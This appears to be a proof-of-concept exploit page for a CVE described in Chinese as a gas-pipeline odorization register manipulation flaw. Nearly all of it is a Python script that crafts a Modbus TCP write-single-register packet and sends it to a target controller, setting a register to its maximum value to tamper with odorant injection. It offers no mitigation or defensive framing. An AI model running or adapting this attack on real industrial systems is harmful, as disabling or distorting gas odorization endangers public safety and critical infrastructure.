CVE-2026-4436 燃气管道加臭逻辑寄存器操纵漏洞

import struct import socket # Target Configuration TARGET_IP = "192.168.1.100" MODBUS_PORT = 502 # Modbus Write Single Register (Function Code 0x06) # Transaction ID: 0x0001, Protocol ID: 0x0000, Length: 0x0006, Unit ID: 0x01 # Function Code: 0x06, Register Address: 0x0000 (Example), Value: 0xFFFF (Max Injection) def craft_modbus_packet(reg_addr, value): transaction_id = 0x0001 protocol_id = 0x0000 length = 6 unit_id = 1 function_code = 6 # MBAP Header + PDU packet = struct.pack('!HHHBBHH', transaction_id, protocol_id, length, unit_id, function_code, reg_addr, value) return packet try: print(f"[*] Connecting to {TARGET_IP}...") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((TARGET_IP, MODBUS_PORT)) # Example: Maliciously set register 100 to 0xFFFF to manipulate odorant injection malicious_payload = craft_modbus_packet(100, 0xFFFF) print(f"[*] Sending malicious packet to manipulate register...") sock.send(malicious_payload) response = sock.recv(1024) print(f"[+] Response received: {response.hex()}") print("[+] Exploit packet sent successfully.") except Exception as e: print(f"[-] Error: {e}") finally: sock.close()